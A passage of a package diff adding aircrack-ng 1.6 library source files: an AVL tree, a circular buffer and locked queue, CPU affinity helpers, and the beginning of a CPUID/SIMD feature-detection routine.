+			assert(t->root == n);
+			t->root = n->left;
+		}
+		else if (n->parent->left == n)
+		{
+			n->parent->left = n->left;
+		}
+		else
+		{
+			n->parent->right = n->left;
+		}
+		n->left->parent = n->parent;
+
+		if (n->parent != NULL) rebalance(t, n->parent);
+
+		n->left = NULL;
+		free_node(n);
+	}
+	else
+	{
+		assert(0);
+	}
+
+	return 0;
+} /* void *_remove */
+
+/*
+ * public functions
+ */
+c_avl_tree_t * c_avl_create(int (*compare)(const void *, const void *))
+{
+	c_avl_tree_t * t;
+
+	if (compare == NULL) return NULL;
+
+	if ((t = malloc(sizeof(*t))) == NULL) return NULL;
+
+	t->root = NULL;
+	t->compare = compare;
+	t->size = 0;
+
+	return t;
+}
+
+void c_avl_destroy(c_avl_tree_t * t)
+{
+	if (t == NULL) return;
+	free_node(t->root);
+	free(t);
+}
+
+int c_avl_insert(c_avl_tree_t * t, void * key, void * value)
+{
+	c_avl_node_t * new;
+	c_avl_node_t * nptr;
+	int cmp;
+
+	if ((new = malloc(sizeof(*new))) == NULL) return -1;
+
+	new->key = key;
+	new->value = value;
+	new->height = 1;
+	new->left = NULL;
+	new->right = NULL;
+
+	if (t->root == NULL)
+	{
+		new->parent = NULL;
+		t->root = new;
+		t->size = 1;
+		return 0;
+	}
+
+	nptr = t->root;
+	while (42)
+	{
+		cmp = t->compare(nptr->key, new->key);
+		if (cmp == 0)
+		{
+			free_node(new);
+			return 1;
+		}
+		else if (cmp < 0)
+		{
+			/* nptr < new */
+			if (nptr->right == NULL)
+			{
+				nptr->right = new;
+				new->parent = nptr;
+				rebalance(t, nptr);
+				break;
+			}
+			else
+			{
+				nptr = nptr->right;
+			}
+		}
+		else /* if (cmp > 0) */
+		{
+			/* nptr > new */
+			if (nptr->left == NULL)
+			{
+				nptr->left = new;
+				new->parent = nptr;
+				rebalance(t, nptr);
+				break;
+			}
+			else
+			{
+				nptr = nptr->left;
+			}
+		}
+	} /* while (42) */
+
+	verify_tree(t->root);
+	++t->size;
+	return 0;
+} /* int c_avl_insert */
+
+int c_avl_remove(c_avl_tree_t * t,
+				 const void * key,
+				 void ** rkey,
+				 void ** rvalue)
+{
+	c_avl_node_t * n;
+	int status;
+
+	assert(t != NULL);
+
+	n = search(t, key);
+	if (n == NULL) return -1;
+
+	if (rkey != NULL) *rkey = n->key;
+	if (rvalue != NULL) *rvalue = n->value;
+
+	status = _remove(t, n);
+	verify_tree(t->root);
+	--t->size;
+	return status;
+} /* void *c_avl_remove */
+
+int c_avl_get(c_avl_tree_t * t, const void * key, void ** value)
+{
+	c_avl_node_t * n;
+
+	assert(t != NULL);
+
+	n = search(t, key);
+	if (n == NULL) return -1;
+
+	if (value != NULL) *value = n->value;
+
+	return 0;
+}
+
+int c_avl_pick(c_avl_tree_t * t, void ** key, void ** value)
+{
+	c_avl_node_t * n;
+	c_avl_node_t * p;
+
+	assert(t != NULL);
+
+	if ((key == NULL) || (value == NULL)) return -1;
+	if (t->root == NULL) return -1;
+
+	n = t->root;
+	while ((n->left != NULL) || (n->right != NULL))
+	{
+		if (n->left == NULL)
+		{
+			n = n->right;
+			continue;
+		}
+		else if (n->right == NULL)
+		{
+			n = n->left;
+			continue;
+		}
+
+		if (n->left->height > n->right->height)
+			n = n->left;
+		else
+			n = n->right;
+	}
+
+	p = n->parent;
+	if (p == NULL)
+		t->root = NULL;
+	else if (p->left == n)
+		p->left = NULL;
+	else
+		p->right = NULL;
+
+	*key = n->key;
+	*value = n->value;
+
+	free_node(n);
+	--t->size;
+	rebalance(t, p);
+
+	return 0;
+} /* int c_avl_pick */
+
+c_avl_iterator_t * c_avl_get_iterator(c_avl_tree_t * t)
+{
+	c_avl_iterator_t * iter;
+
+	if (t == NULL) return NULL;
+
+	iter = calloc(1, sizeof(*iter));
+	if (iter == NULL) return NULL;
+	iter->tree = t;
+
+	return iter;
+} /* c_avl_iterator_t *c_avl_get_iterator */
+
+int c_avl_iterator_next(c_avl_iterator_t * iter, void ** key, void ** value)
+{
+	c_avl_node_t * n;
+
+	if ((iter == NULL) || (key == NULL) || (value == NULL)) return -1;
+
+	if (iter->node == NULL)
+	{
+		for (n = iter->tree->root; n != NULL; n = n->left)
+			if (n->left == NULL) break;
+		iter->node = n;
+	}
+	else
+	{
+		n = c_avl_node_next(iter->node);
+	}
+
+	if (n == NULL) return -1;
+
+	iter->node = n;
+	*key = n->key;
+	*value = n->value;
+
+	return 0;
+} /* int c_avl_iterator_next */
+
+int c_avl_iterator_prev(c_avl_iterator_t * iter, void ** key, void ** value)
+{
+	c_avl_node_t * n;
+
+	if ((iter == NULL) || (key == NULL) || (value == NULL)) return -1;
+
+	if (iter->node == NULL)
+	{
+		for (n = iter->tree->root; n != NULL; n = n->left)
+			if (n->right == NULL) break;
+		iter->node = n;
+	}
+	else
+	{
+		n = c_avl_node_prev(iter->node);
+	}
+
+	if (n == NULL) return -1;
+
+	iter->node = n;
+	*key = n->key;
+	*value = n->value;
+
+	return 0;
+} /* int c_avl_iterator_prev */
+
+void c_avl_iterator_destroy(c_avl_iterator_t * iter) { free(iter); }
+
+int c_avl_size(c_avl_tree_t * t)
+{
+	if (t == NULL) return 0;
+	return t->size;
+}

aircrack-ng-1.6.tar.gz/lib/libac/adt/circular_buffer.c Added

@@ -0,0 +1,173 @@
+/**
+ * Copyright (C) 2018 Joseph Benden <joe@benden.us>
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a
+ * copy of this software and associated documentation files (the "Software"),
+ * to deal in the Software without restriction, including without limitation
+ * the rights to use, copy, modify, merge, publish, distribute, sublicense,
+ * and/or sell copies of the Software, and to permit persons to whom the
+ * Software is furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+ * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
+ * DEALINGS IN THE SOFTWARE.
+ **/
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <stdlib.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <stddef.h>
+#include <stdbool.h>
+#include <string.h>
+#include <assert.h>
+
+#include "aircrack-ng/defs.h"
+#include "aircrack-ng/adt/circular_buffer.h"
+
+#ifndef NDEBUG
+static inline bool is_power_of_two(size_t n)
+{
+	REQUIRE(n > 0);
+
+	while ((n % 2) == 0)
+	{
+		n /= 2;
+	}
+
+	if (n == 1) return true;
+
+	return false;
+}
+#endif
+
+// The definition of our circular buffer is hidden from the API user.
+struct circular_buffer_t
+{
+	uint8_t * buffer; /// Circular buffer's memory location.
+	size_t read_pos; /// Current read position, as element index.
+	size_t write_pos; /// Current write position, as element index.
+	size_t max; /// Number of bytes allocated for whole ring buffer.
+	size_t size; /// Number of bytes required for a single element.
+};
+
+/*
+ * A circular buffer uses the "Virtual Streams" approach, as described on
+ * the Ryg blog:
+ *
+ * https://fgiesen.wordpress.com/2010/12/14/ring-buffers-and-queues/
+ */
+
+#define CBUF_BUFFER_POS(cbuf, which)                                           \
+	(cbuf->buffer + ((cbuf->which % (cbuf->max / cbuf->size)) * cbuf->size))
+
+static inline void check_invariants(cbuf_handle_t cbuf)
+{
+	// All writes to structure are always ahead of the reads, unless empty.
+	INVARIANT(cbuf->write_pos >= cbuf->read_pos);
+
+	// All writes are restricted to the inside of our buffer's region.
+	INVARIANT(cbuf->write_pos - cbuf->read_pos <= (cbuf->max / cbuf->size));
+}
+
+API_EXPORT cbuf_handle_t circular_buffer_init(uint8_t * buffer,
+											  size_t bufferSize,
+											  size_t elementSize)
+{
+	REQUIRE(buffer && bufferSize && elementSize);
+	REQUIRE(bufferSize % elementSize == 0);
+	REQUIRE(is_power_of_two(bufferSize));
+
+	cbuf_handle_t cbuf = calloc(1, sizeof(circular_buffer_t));
+	ALLEGE(cbuf);
+
+	cbuf->buffer = buffer;
+	cbuf->max = bufferSize;
+	cbuf->size = elementSize;
+	circular_buffer_reset(cbuf);
+
+	ENSURE(circular_buffer_is_empty(cbuf));
+
+	return cbuf;
+}
+
+API_EXPORT void circular_buffer_free(cbuf_handle_t cbuf)
+{
+	REQUIRE(cbuf);
+	cbuf->buffer = NULL;
+	free(cbuf);
+}
+
+API_EXPORT void circular_buffer_reset(cbuf_handle_t cbuf)
+{
+	REQUIRE(cbuf);
+
+	cbuf->read_pos = 0;
+	cbuf->write_pos = 0;
+}
+
+API_EXPORT bool circular_buffer_is_empty(cbuf_handle_t cbuf)
+{
+	REQUIRE(cbuf);
+	return cbuf->read_pos == cbuf->write_pos;
+}
+
+API_EXPORT bool circular_buffer_is_full(cbuf_handle_t cbuf)
+{
+	REQUIRE(cbuf);
+	return cbuf->write_pos == (cbuf->read_pos + (cbuf->max / cbuf->size));
+}
+
+API_EXPORT size_t circular_buffer_capacity(cbuf_handle_t cbuf)
+{
+	REQUIRE(cbuf);
+	return cbuf->max / cbuf->size;
+}
+
+API_EXPORT size_t circular_buffer_size(cbuf_handle_t cbuf)
+{
+	REQUIRE(cbuf);
+	return cbuf->write_pos - cbuf->read_pos;
+}
+
+API_EXPORT void
+circular_buffer_put(cbuf_handle_t cbuf, void const * const data, size_t size)
+{
+	REQUIRE(cbuf && data && size > 0);
+	REQUIRE(size <= cbuf->size);
+
+	memcpy(CBUF_BUFFER_POS(cbuf, write_pos), data, size); // cannot overlap
+
+	if (size < cbuf->size)
+	{
+		// zero extra buffer bytes
+		memset(CBUF_BUFFER_POS(cbuf, write_pos) + size, 0, cbuf->size - size);
+	}
+
+	++cbuf->write_pos;
+
+	check_invariants(cbuf);
+}
+
+API_EXPORT void
+circular_buffer_get(cbuf_handle_t cbuf, void * const * data, size_t size)
+{
+	REQUIRE(cbuf && data && size > 0);
+	REQUIRE(size <= cbuf->size);
+
+	memcpy(*data, CBUF_BUFFER_POS(cbuf, read_pos), size); // cannot overlap
+
+	++cbuf->read_pos;
+
+	check_invariants(cbuf);
+}

aircrack-ng-1.6.tar.gz/lib/libac/adt/circular_queue.c Added

@@ -0,0 +1,156 @@
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <stdlib.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <stddef.h>
+#include <stdbool.h>
+#include <string.h>
+#include <assert.h>
+
+#include <pthread.h>
+
+#include "aircrack-ng/defs.h"
+#include "aircrack-ng/adt/circular_buffer.h"
+#include "aircrack-ng/adt/circular_queue.h"
+
+// The definition of our circular queue is hidden from the API user.
+struct circular_queue_t
+{
+	cbuf_handle_t cbuf; /// Circular buffer.
+	pthread_mutex_t lock; /// Lock protecting whole structure.
+	pthread_cond_t full_cv; /// Signals upon no longer full.
+	pthread_cond_t empty_cv; /// Signals upon no longer empty.
+};
+
+API_EXPORT cqueue_handle_t circular_queue_init(uint8_t * buffer,
+											   size_t bufferSize,
+											   size_t elementSize)
+{
+	REQUIRE(buffer && bufferSize && elementSize);
+	REQUIRE(bufferSize % elementSize == 0);
+
+	cqueue_handle_t cq = calloc(1, sizeof(circular_queue_t));
+	ALLEGE(cq);
+
+	cq->cbuf = circular_buffer_init(buffer, bufferSize, elementSize);
+	ALLEGE(cq->cbuf);
+
+	ALLEGE(pthread_mutex_init(&(cq->lock), NULL) == 0);
+	ALLEGE(pthread_cond_init(&(cq->empty_cv), NULL) == 0);
+	ALLEGE(pthread_cond_init(&(cq->full_cv), NULL) == 0);
+
+	return cq;
+}
+
+API_EXPORT void circular_queue_free(cqueue_handle_t cq)
+{
+	REQUIRE(cq);
+
+	circular_buffer_free(cq->cbuf);
+	cq->cbuf = NULL;
+	ALLEGE(pthread_cond_destroy(&(cq->empty_cv)) == 0);
+	ALLEGE(pthread_cond_destroy(&(cq->full_cv)) == 0);
+	ALLEGE(pthread_mutex_destroy(&(cq->lock)) == 0);
+	free(cq);
+}
+
+API_EXPORT void circular_queue_reset(cqueue_handle_t cq)
+{
+	REQUIRE(cq);
+
+	ALLEGE(pthread_mutex_lock(&(cq->lock)) == 0);
+	circular_buffer_reset(cq->cbuf);
+	ALLEGE(pthread_mutex_unlock(&(cq->lock)) == 0);
+}
+
+static inline void
+do_push(cqueue_handle_t cq, void const * const data, size_t size)
+{
+	REQUIRE(cq && data && size > 0);
+	REQUIRE(!circular_buffer_is_full(cq->cbuf));
+
+	circular_buffer_put(cq->cbuf, data, size);
+
+	ALLEGE(pthread_cond_signal(&(cq->empty_cv)) == 0);
+	ALLEGE(pthread_mutex_unlock(&(cq->lock)) == 0);
+}
+
+API_EXPORT void
+circular_queue_push(cqueue_handle_t cq, void const * const data, size_t size)
+{
+	REQUIRE(cq && data && size > 0);
+
+	ALLEGE(pthread_mutex_lock(&(cq->lock)) == 0);
+
+	while (circular_buffer_is_full(cq->cbuf))
+	{
+		ALLEGE(pthread_cond_wait(&(cq->full_cv), &(cq->lock)) == 0);
+	}
+
+	do_push(cq, data, size);
+}
+
+API_EXPORT int circular_queue_try_push(cqueue_handle_t cq,
+									   void const * const data,
+									   size_t size)
+{
+	REQUIRE(cq && data && size > 0);
+
+	ALLEGE(pthread_mutex_lock(&(cq->lock)) == 0);
+
+	if (circular_buffer_is_full(cq->cbuf))
+	{
+		ALLEGE(pthread_mutex_unlock(&(cq->lock)) == 0);
+		return -1;
+	}
+
+	do_push(cq, data, size);
+
+	return 0;
+}
+
+API_EXPORT void
+circular_queue_pop(cqueue_handle_t cq, void * const * data, size_t size)
+{
+	REQUIRE(cq && data && size > 0);
+
+	ALLEGE(pthread_mutex_lock(&(cq->lock)) == 0);
+
+	while (circular_buffer_is_empty(cq->cbuf))
+	{
+		ALLEGE(pthread_cond_wait(&(cq->empty_cv), &(cq->lock)) == 0);
+	}
+	ALLEGE(!circular_buffer_is_empty(cq->cbuf));
+
+	circular_buffer_get(cq->cbuf, data, size);
+
+	ALLEGE(pthread_cond_signal(&(cq->full_cv)) == 0);
+	ALLEGE(pthread_mutex_unlock(&(cq->lock)) == 0);
+}
+
+API_EXPORT bool circular_queue_is_empty(cqueue_handle_t cq)
+{
+	REQUIRE(cq);
+	bool rc;
+
+	ALLEGE(pthread_mutex_lock(&(cq->lock)) == 0);
+	rc = circular_buffer_is_empty(cq->cbuf);
+	ALLEGE(pthread_mutex_unlock(&(cq->lock)) == 0);
+
+	return rc;
+}
+
+API_EXPORT bool circular_queue_is_full(cqueue_handle_t cq)
+{
+	REQUIRE(cq);
+	bool rc;
+
+	ALLEGE(pthread_mutex_lock(&(cq->lock)) == 0);
+	rc = circular_buffer_is_full(cq->cbuf);
+	ALLEGE(pthread_mutex_unlock(&(cq->lock)) == 0);
+
+	return rc;
+}

aircrack-ng-1.6.tar.gz/lib/libac/cpu Added

aircrack-ng-1.6.tar.gz/lib/libac/cpu/cpuset_hwloc.c Added

@@ -0,0 +1,145 @@
+/*
+ * Copyright (C) 2018 Joseph Benden <joe@benden.us>
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but
+ * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
+ * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
+ * NON-INFRINGEMENT.  See the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
+ * MA 02110-1301, USA.
+ *
+ * In addition, as a special exception, the copyright holders give
+ * permission to link the code of portions of this program with the
+ * OpenSSL library under certain conditions as described in each
+ * individual source file, and distribute linked combinations
+ * including the two.
+ * You must obey the GNU General Public License in all respects
+ * for all of the code used other than OpenSSL.  If you modify
+ * file(s) with this exception, you may extend this exception to your
+ * version of the file(s), but you are not obligated to do so.  If you
+ * do not wish to do so, delete this exception statement from your
+ * version.  If you delete this exception statement from all source
+ * files in the program, then also delete it here.
+ */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <hwloc.h>
+#include <assert.h>
+#include <limits.h>
+#include <sys/types.h>
+
+#include "aircrack-ng/cpu/cpuset.h"
+
+struct ac_cpuset
+{
+	size_t nbThreads;
+
+	hwloc_topology_t topology;
+	hwloc_cpuset_t * hwloc_cpusets;
+};
+
+ac_cpuset_t * ac_cpuset_new(void) { return malloc(sizeof(struct ac_cpuset)); }
+
+void ac_cpuset_free(ac_cpuset_t * cpuset) { free(cpuset); }
+
+void ac_cpuset_init(ac_cpuset_t * cpuset)
+{
+	assert(cpuset != NULL);
+
+	cpuset->nbThreads = 0;
+	cpuset->hwloc_cpusets = NULL;
+
+	hwloc_topology_init(&cpuset->topology);
+	hwloc_topology_load(cpuset->topology);
+}
+
+void ac_cpuset_destroy(ac_cpuset_t * cpuset)
+{
+	assert(cpuset != NULL);
+
+	if (cpuset->hwloc_cpusets != NULL)
+	{
+		free(cpuset->hwloc_cpusets);
+		cpuset->hwloc_cpusets = NULL;
+	}
+
+	hwloc_topology_destroy(cpuset->topology);
+}
+
+void ac_cpuset_distribute(ac_cpuset_t * cpuset, size_t count)
+{
+	assert(cpuset != NULL);
+
+	cpuset->nbThreads = count;
+	cpuset->hwloc_cpusets = calloc(count, sizeof(hwloc_cpuset_t));
+
+	if (!cpuset->hwloc_cpusets) return;
+
+	hwloc_obj_t root = hwloc_get_root_obj(cpuset->topology);
+
+#if defined(HWLOC_API_VERSION) && HWLOC_API_VERSION > 0x00010800
+	hwloc_distrib(cpuset->topology,
+				  &root,
+				  1u,
+				  cpuset->hwloc_cpusets,
+				  (unsigned int) count,
+				  INT_MAX,
+				  0u);
+#else
+	hwloc_distributev(cpuset->topology,
+					  &root,
+					  1u,
+					  cpuset->hwloc_cpusets,
+					  (unsigned int) count,
+					  INT_MAX);
+#endif
+}
+
+#ifdef CYGWIN
+struct tid_to_handle
+{
+	ptrdiff_t vtbl;
+  uint32_t magic;
+  HANDLE h;
+};
+#endif
+
+void ac_cpuset_bind_thread_at(ac_cpuset_t * cpuset, pthread_t tid, size_t idx)
+{
+	assert(cpuset != NULL);
+
+	if (idx > cpuset->nbThreads) return;
+
+	hwloc_bitmap_singlify(cpuset->hwloc_cpusets[idx]);
+
+	if (hwloc_set_thread_cpubind(cpuset->topology,
+#ifdef CYGWIN
+								 // WARNING: This is a HACK into `class pthread` of Cygwin.
+								 *((HANDLE*)((char*)tid + offsetof(struct tid_to_handle, h))),
+#else
+								 tid,
+#endif
+								 cpuset->hwloc_cpusets[idx],
+								 HWLOC_CPUBIND_THREAD))
+	{
+		char * str;
+		int error = errno;
+		hwloc_bitmap_asprintf(&str, cpuset->hwloc_cpusets[idx]);
+		fprintf(stderr,
+				"Couldn't bind thread to cpuset %s: %s\n",
+				str,
+				strerror(error));
+		free(str);
+	}
+}

aircrack-ng-1.6.tar.gz/lib/libac/cpu/cpuset_pthread.c Added

@@ -0,0 +1,87 @@
+/*
+ * Copyright (C) 2018 Joseph Benden <joe@benden.us>
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but
+ * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
+ * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
+ * NON-INFRINGEMENT.  See the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
+ * MA 02110-1301, USA.
+ *
+ * In addition, as a special exception, the copyright holders give
+ * permission to link the code of portions of this program with the
+ * OpenSSL library under certain conditions as described in each
+ * individual source file, and distribute linked combinations
+ * including the two.
+ * You must obey the GNU General Public License in all respects
+ * for all of the code used other than OpenSSL.  If you modify
+ * file(s) with this exception, you may extend this exception to your
+ * version of the file(s), but you are not obligated to do so.  If you
+ * do not wish to do so, delete this exception statement from your
+ * version.  If you delete this exception statement from all source
+ * files in the program, then also delete it here.
+ */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#ifndef _GNU_SOURCE
+#define _GNU_SOURCE
+#endif
+
+#include <assert.h>
+#include <limits.h>
+#include <pthread.h>
+#include <stdlib.h>
+#include <sys/types.h>
+
+#include "aircrack-ng/cpu/cpuset.h"
+
+struct ac_cpuset
+{
+	size_t nbThreads;
+};
+
+ac_cpuset_t * ac_cpuset_new(void) { return malloc(sizeof(struct ac_cpuset)); }
+
+void ac_cpuset_free(ac_cpuset_t * cpuset) { free(cpuset); }
+
+void ac_cpuset_init(ac_cpuset_t * cpuset)
+{
+	assert(cpuset != NULL);
+
+	cpuset->nbThreads = 0;
+}
+
+void ac_cpuset_destroy(ac_cpuset_t * cpuset) { assert(cpuset != NULL); }
+
+void ac_cpuset_distribute(ac_cpuset_t * cpuset, size_t count)
+{
+	assert(cpuset != NULL);
+
+	cpuset->nbThreads = count;
+}
+
+void ac_cpuset_bind_thread_at(ac_cpuset_t * cpuset, pthread_t tid, size_t idx)
+{
+	assert(cpuset != NULL);
+
+	if (idx > cpuset->nbThreads) return;
+
+#if defined(HAVE_PTHREAD_AFFINITY_NP) && HAVE_PTHREAD_AFFINITY_NP
+	// set affinity to a specific processor, for the specified thread.
+	cpu_set_t set;
+	CPU_ZERO(&set);
+	CPU_SET(idx, &set);
+	pthread_setaffinity_np(tid, sizeof(cpu_set_t), &set);
+#endif
+}

aircrack-ng-1.6.tar.gz/lib/libac/cpu/simd_cpuid.c Added

@@ -0,0 +1,769 @@
+/*
+ * CPU/SIMD identification routines by Len White <lwhite@nrw.ca>
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ *
+ */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#define _GNU_SOURCE
+#include <stdio.h>
+#include <stdlib.h>
+#include <errno.h>
+#include <unistd.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <string.h>
+#if defined(__i386__) || defined(__x86_64__)
+#define _X86 1
+#include <cpuid.h>
+#elif defined(__arm__) || defined(__aarch64__)
+#ifdef HAS_AUXV
+#include <sys/auxv.h>
+#include <asm/hwcap.h>
+#endif
+#endif /* __arm__ */
+#ifdef __linux__
+#include <fcntl.h>
+#include <sys/stat.h>
+#include <linux/sysctl.h>
+#endif
+#if defined(__FreeBSD__) || defined(__OpenBSD__)
+#include <sys/user.h>
+#include <sys/sysctl.h>
+#endif
+#include <dirent.h>
+
+#include "aircrack-ng/cpu/simd_cpuid.h"
+#include "aircrack-ng/support/common.h"
+
+#ifdef __linux__
+#define CPUFREQ_CPU0C "/sys/devices/system/cpu/cpu0/cpufreq/scaling_cur_freq"
+#define CPUFREQ_CPU0M "/sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq"
+#define CORETEMP_PATH "/sys/devices/platform/coretemp.0/"
+static int cpuid_readsysfs(const char * file);
+static int cpuid_findcpusensorpath(const char * path);
+#endif
+
+struct _cpuinfo cpuinfo = {0, NULL, NULL, 0, 0, 0, 0, 0, 0, 0, 0.0, NULL};
+
+//
+// Until better support for other arch's is added an ifdef is needed
+//
+static unsigned long
+getRegister(const unsigned int val, const char from, const char to)
+{
+	unsigned long mask = (1ul << (to + 1ul)) - 1ul;
+
+	if (to == 31) return val >> from;
+
+	return (val & mask) >> from;
+}
+
+static void sprintcat(char * dest, const char * src, size_t len)
+{
+	if (strlen(dest) > 0) (void) strncat(dest, ",", len - strlen(dest) - 1);
+
+	(void) strncat(dest, src, len - strlen(dest) - 1);
+}
+
+int is_dir(const char * dir)
+{
+	struct stat sb;
+
+	if (!stat(dir, &sb)) return S_ISDIR(sb.st_mode);
+
+	return 0;
+}
+
+unsigned long GetCacheTotalLize(unsigned ebx, unsigned ecx)
+{
+	unsigned long LnSz, SectorSz, WaySz, SetSz;
+	LnSz = getRegister(ebx, 0, 11) + 1;
+	SectorSz = getRegister(ebx, 12, 21) + 1;
+	WaySz = getRegister(ebx, 22, 31) + 1;
+	SetSz = getRegister(ecx, 0, 31) + 1;
+	return (SetSz * WaySz * SectorSz * LnSz);
+}
+
+//
+// Return maximum SIMD size for the CPU.
+// AVX512F		  		= 16 / 512 bit
+// AVX2		  		= 8 / 256 bit
+// SSE2-4.2 + AVX / NEON	= 4 / 128 bit
+// MMX / CPU Fallback		= 1 /  64 bit
+//
+int cpuid_simdsize(int viewmax)
+{
+#ifdef _X86
+	unsigned eax = 0, ebx = 0, ecx = 0, edx = 0;
+	unsigned int max_level = __get_cpuid_max(0, NULL);
+
+	if (max_level >= 7)
+	{
+		__cpuid_count(7, 0, eax, ebx, ecx, edx);
+
+		if (ebx & (1 << 16))
+		{ // AVX512F
+			return 16;
+		}
+		else if (ebx & (1 << 5))
+		{ // AVX2
+			return 8;
+		}
+	}
+
+	__cpuid(1, eax, ebx, ecx, edx);
+
+	if (edx & (1 << 26)) // SSE2
+		return 4;
+
+#elif (defined(__arm__) || defined(__aarch64__)) && defined(HAS_AUXV)
+	long hwcaps = getauxval(AT_HWCAP);
+
+	if (hwcaps & (1 << 12)) // NEON
+		return 4;
+#if defined(__aarch64__)
+	if (hwcaps & (1 << 1)) // ASIMD
+		return 4;
+#endif
+#endif
+	(void) viewmax;
+
+	// MMX or CPU Fallback
+	return 1;
+}
+
+#ifdef _X86
+static char * cpuid_vendor(void)
+{
+	unsigned eax = 0, ebx = 0, ecx = 0, edx = 0;
+
+	__cpuid(0, eax, ebx, ecx, edx);
+
+	if ((ebx == 0x756E6547) && (edx == 0x49656E69))
+		return "Intel";
+	else if ((ebx == 0x68747541) || (ebx == 0x69444D41))
+		return "AMD";
+	else if (ebx == 0x746E6543)
+		return "Centaur (VIA)";
+	else if (ebx == 0x69727943)
+		return "Cyrix";
+	else if ((ebx == 0x6E617254)
+			 || ((ebx == 0x756E6547) && (edx == 0x54656E69)))
+		return "Transmeta";
+	else if (ebx == 0x646F6547)
+		return "Geode by NSC (AMD)";
+	else if (ebx == 0x4778654E)
+		return "NexGen";
+	else if (ebx == 0x65736952)
+		return "Rise";
+	else if (ebx == 0x20536953)
+		return "SiS";
+	else if (ebx == 0x20434D55)
+		return "UMC";
+	else if (ebx == 0x20414956)
+		return "VIA";
+	else if (ebx == 0x74726F56)
+		return "Vortex86 SoC";
+	else if (ebx == 0x4B4D564B)
+		return "KVM (Virtual Machine)";
+	else if (ebx == 0x7263694D)
+		return "Microsoft Hyper-V or Virtual PC";
+	else if (ebx == 0x70726C20)
+		return "Parallels (Virtual Machine)";
+	else if (ebx == 0x61774D56)
+		return "VMware";
+	else if (ebx == 0x566E6558)
+		return "Xen HVM (Virtual Machine)";
+
+	return "Unknown CPU";
+}
+#endif
+
+static char * cpuid_featureflags(void)
+{
+	char flags[64] = {0};
+#ifdef _X86
+	unsigned eax = 0, ebx = 0, ecx = 0, edx = 0;
+	unsigned int max_level = __get_cpuid_max(0, NULL);
+
+	__cpuid(1, eax, ebx, ecx, edx);
+
+	if (edx & (1 << 23)) sprintcat((char *) &flags, "MMX", sizeof(flags));
+
+	if (edx & (1 << 25)) sprintcat((char *) &flags, "SSE", sizeof(flags));
+
+	if (edx & (1 << 26)) sprintcat((char *) &flags, "SSE2", sizeof(flags));
+
+	if (ecx & (1 << 0)) sprintcat((char *) &flags, "SSE3", sizeof(flags));
+
+	if (ecx & (1 << 9)) sprintcat((char *) &flags, "SSSE3", sizeof(flags));
+
+	if (ecx & (1 << 19)) sprintcat((char *) &flags, "SSE4.1", sizeof(flags));
+
+	if (ecx & (1 << 20)) sprintcat((char *) &flags, "SSE4.2", sizeof(flags));
+
+	if (ecx & (1 << 25)) sprintcat((char *) &flags, "AES-NI", sizeof(flags));
+
+	if (edx & (1 << 28)) // Hyper-threading
+		cpuinfo.htt = 1;
+
+	if (ecx & (1 << 28)) // AVX
+		sprintcat((char *) &flags, "AVX", sizeof(flags));
+
+	if (ecx & (1 << 31)) // Hypervisor
+		cpuinfo.hv = 1;
+
+	if (max_level >= 7)
+	{
+		__cpuid_count(7, 0, eax, ebx, ecx, edx);
+
+		if (ebx & (1 << 5)) // AVX2
+			sprintcat((char *) &flags, "AVX2", sizeof(flags));
+
+		if (ebx & (1 << 16)) // AVX512F
+			sprintcat((char *) &flags, "AVX512F", sizeof(flags));
+	}
+#elif (defined(__arm__) || defined(__aarch64__)) && defined(HAS_AUXV)
+	long hwcaps = getauxval(AT_HWCAP);
+
+#if defined(__aarch64__)
+	if (hwcaps & (1 << 1)) sprintcat((char *) &flags, "ASIMD", sizeof(flags));
+#else
+	if (hwcaps & (1 << 12)) sprintcat((char *) &flags, "NEON", sizeof(flags));
+
